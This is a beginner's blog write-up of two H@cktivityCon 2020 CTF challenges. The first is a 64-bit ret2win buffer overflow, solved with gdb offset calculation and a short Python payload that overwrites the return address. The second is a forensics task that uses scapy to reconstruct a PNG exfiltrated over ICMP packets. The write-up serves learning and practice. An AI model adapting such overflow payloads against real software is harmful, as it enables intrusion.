CTF

H@cktivityCon CTF 2020

Writeup for H@cktivityCon CTF 2020 from a beginner's POV

Posted by Javier on August 4, 2020

Intro

Below are the writeups for some of the more interesting challenges that I managed to solved. I have excluded some challenges as I did not have time to finish the writeup before the challenges server was brought down :(

Pancakes

How many flap-jacks are on your stack?

Connect with:

nc jh2i.com 50021

Category: Binary Exploitation

TL;DR ret2win challenge

Pancakes was a simple buffer overflow challenge involving a 64-bit binary, it’s a good first step to learning about binary exploitation. We are given the binary, so let us take a deeper look.

secret_recipe function

Ghidra’s decompiler works wonders but I wanted to familiarise myself with gdb.

Let us first look at the binaries functions using gdb: pancakes functions

We see a function called secret_recipe, below is the disassembled function’s code. secret_recipe disassembly

Based on the disassembly, we can conclude:

  • A file is opened using the fopen function.
  • We see the two parameters (‘r’ and ‘flag.txt’) parsed into fopen by displaying the contents of the addresses in the two lea instructions above the fopen function call.
  • Afterwards, fread and puts functions are called.

Hence, we can deduce that this function reads the file containing the flag and prints the flag to stdout.

main function

Next, we can disassemble at the main function to see what the program does. We see that the dangerous gets function is called. The main reason why gets is vulnerable to buffer overflow is because it does not perform bounds checking on the size of its input. main disassembly

Exploit crafting

Based on the information above, we can get the flag by executing the secret_recipe function. This can be achieved by overflowing the buffer called in the gets function so that we can overwrite the RIP (Instruction Pointer in 64-bit) with the address of the secret_recipe function in order to execute it.

Firstly, we need to calculate the buffer size of the gets function to overflow. I did this manually using gdb by subtracting the memory address of the start of our buffer from RIP address.

  1. Set a breakpoint before the program exits.
    1
    2
    3
    4
    5
    
     0x0000000000400989 <+418>:   leave  
     0x000000000040098a <+419>:   ret    
    End of assembler dump.
    gdb-peda$ b *0x0000000000400989
    Breakpoint 1 at 0x400989
    
  2. Generate a long string to overflow the buffer. e.g python -c "print('A'*200)".
  3. Get RIP address by running and overflowing binary’s buffer. rip addr
  4. Get address of start of buffer from RSP (register for top of stack). We can see that from 0x7fffffffe060 onwards contains our input. (0x41 == ‘A’) rsp addr
  5. Subtract start of buffer address from RIP address. The result is 152, which means our buffer size to overflow is 152 bytes.
    1
    2
    
    gdb-peda$ p/d 0x7fffffffe0f8 - 0x7fffffffe060
    $1 = 152
    

Below is a simple python script I used to generate the payload.

1
2
3
4
5
6
import struct

pad = "\x41" * 152
# 0x000000000040098b address of secret_recipe function
rip = struct.pack("<Q", 0x000000000040098b)
print(pad + rip)

Flag

flag{too_many_pancakes_on_the_stack}

flag

Incredibly Covert Malware Procedures

We got hacked! Can you see what they took

Download the file below

Category: Forensics

We are given a pcap file, so let us open wireshark to analyse the file.

ICMP packets’ data

The challenge’s title serves as a clue to look out for ICMP packets, which are abundant in the pcap file. Looking at the first ICMP packet’s data, it contains the magic bytes for PNG files (89 50 4E 47 0D 0A 1A 0A). flag

For each of the following ICMP packets, the PNG file bytes are replicated twice in the packet’s data. Hence, we can extract out the specific bytes from the pcap file and write it to a resultant png file. I decided to use scapy to manipulate the pcap file as shown below.

Solver script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from scapy.all import IP, ICMP, rdpcap
from operator import itemgetter
import sys

pcap = rdpcap('incident.pcap')
filteredpkts = []
for p in pcap:
    if ICMP in p and p[IP].src == '192.168.8.114':
        filteredpkts.append(p)
flag = b""
for p in filteredpkts:
    # https://stackoverflow.com/questions/14267452/iterate-over-individual-bytes-in-python-3
    byte_list = [i.to_bytes(1, sys.byteorder) for i in p[ICMP].load]
    byte_index = list(range(16,32))
    flag += b''.join(itemgetter(*byte_index)(byte_list))
    
f = open('flag.png','wb')
f.write(flag)
f.close()

Flag

flag{not_so_stealthy_exfil} flag